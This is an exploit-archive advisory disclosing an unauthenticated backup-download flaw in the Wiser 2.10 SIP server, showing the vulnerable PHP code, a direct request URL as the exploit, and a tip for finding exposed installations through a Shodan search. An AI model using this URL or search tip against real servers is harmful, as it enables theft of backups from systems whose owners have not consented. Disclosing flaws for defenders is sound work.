Wiser 2.10 Backup Disclosure

2014.05.19

Credit: AtT4CKxT3rR0r1ST

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Wiser 2.10 [SIP SERVER] - Backup download vulnerability
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.develsistemas.com.br/
####################################################################
VULNERABILITY
##############
/var/www/html/voip/sipserver/class/baixarBackup.php

Line 3:

require_once '/var/www/html/voip/sipserver/class/conexao.php';

Line 55-59:

    function buscaBackup() {
        $this->conectarSer();
        $sql = "SELECT patch FROM backup WHERE patch IS NOT NULL ORDER BY
id DESC LIMIT 1";
        $result = mysql_query($sql);
        return $result ? (mysql_num_rows($result)>0 ? mysql_result
($result, 0, 'patch') : false) : false;

#########
EXPLOIT
#########

http://IP/voip/sipserver/class/baixarBackup.php

[Note]: To Find This Ip Go To shodanhq.com And Type Location:
voip/sipserver/login  In Search Box

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Wiser 2.10 Backup Disclosure

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.